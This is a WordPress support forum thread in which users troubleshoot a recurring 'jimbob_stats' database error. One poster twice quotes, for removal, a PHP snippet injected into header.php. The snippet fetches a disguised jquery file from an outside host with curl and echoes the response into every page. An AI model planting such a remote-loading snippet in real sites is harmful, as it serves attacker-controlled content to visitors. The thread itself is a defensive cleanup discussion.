WordPress.org

Ready to get started?Download WordPress

Forums

Second Time getting this error (9 posts)

  1. dfagredam
    Member
    Posted 1 year ago #

    Couldn't connect to database server.Couldn't find database jimbob_stats.An unexpected problem has occured with the application.SELECT statscurl_id FROM statscurl WHERE statscurl_ip = '';

    Does anyone have an idea of what this could be?

  2. manishleo97
    Member
    Posted 1 year ago #

    Same problem facing.., What to do ??

    Couldn't connect to database server.Couldn't find database jimbob_stats.An unexpected problem has occured with the application.SELECT statscurl_id FROM statscurl WHERE statscurl_ip = '';

  3. dfagredam
    Member
    Posted 1 year ago #

    Well I don't really know what to do. First I started deactivating some plugins and It worked well for one hour. It is really weird because the website works fine, but it shows that nasty message on top. I am working with chrome today, but yesterday it showed on explorer as well

  4. dfagredam
    Member
    Posted 1 year ago #

    Can you do Updates on yours?

  5. dfagredam
    Member
    Posted 1 year ago #

    Here is the solution I am testing right now, just in case someone else need it.
    Just be careful not to erase any other piece of code.

    remove from the header.php:
    <?php

    if(function_exists('curl_init'))

    {

    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";

    $ch = curl_init();

    $timeout = 5;

    curl_setopt($ch,CURLOPT_URL,$url);

    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);

    $data = curl_exec($ch);

    curl_close($ch);

    echo "$data";

    }

    ?>

  6. azder
    Member
    Posted 1 year ago #

    I'm also getting that error, but there is no such code in my header.php. Where else do I search for it? How do I search for it?

  7. dfagredam
    Member
    Posted 1 year ago #

    Chances are that if you are getting this error it is inside your code somewhere. My advice is get inside via ftp and get the file from the server, then do a search inside the file with notepad++ or coda. See what you can find. Good luck, it is annoying

  8. gkdreamz
    Member
    Posted 1 year ago #

    i have also getting this below error Couldn't connect to database server.Couldn't find database jimbob_stats.An unexpected problem has occured with the application. SELECT statscurl_id FROMstatscurlWHERE statscurl_ip = '';sometimes only.. when i reloading my page ,then this error clear.. then working well,after again occur,again i doing reload. ?? what can i do..please help me to solve this problem mates..

  9. dfagredam
    Member
    Posted 1 year ago #

    Well, I was going nuts over this error. And here is what i did, the last plugin that I installed before this started happening was the seo pack. so I erased that. The same thing I did with all of the plugins that i was not using. last thing that I did and that is working fine is the code suppression that I have posted before. The way I did it is with the editor inside of wordpress. Erase that piece of code and hope it works for you. !!!!!!Copy all of the code you have in there just in case and save it before attemping to do this. !!!!!

    <?php

    if(function_exists('curl_init'))

    {

    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";

    $ch = curl_init();

    $timeout = 5;

    curl_setopt($ch,CURLOPT_URL,$url);

    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);

    $data = curl_exec($ch);

    curl_close($ch);

    echo "$data";

    }

    ?>

Topic Closed

This topic has been closed to new replies.

About this Topic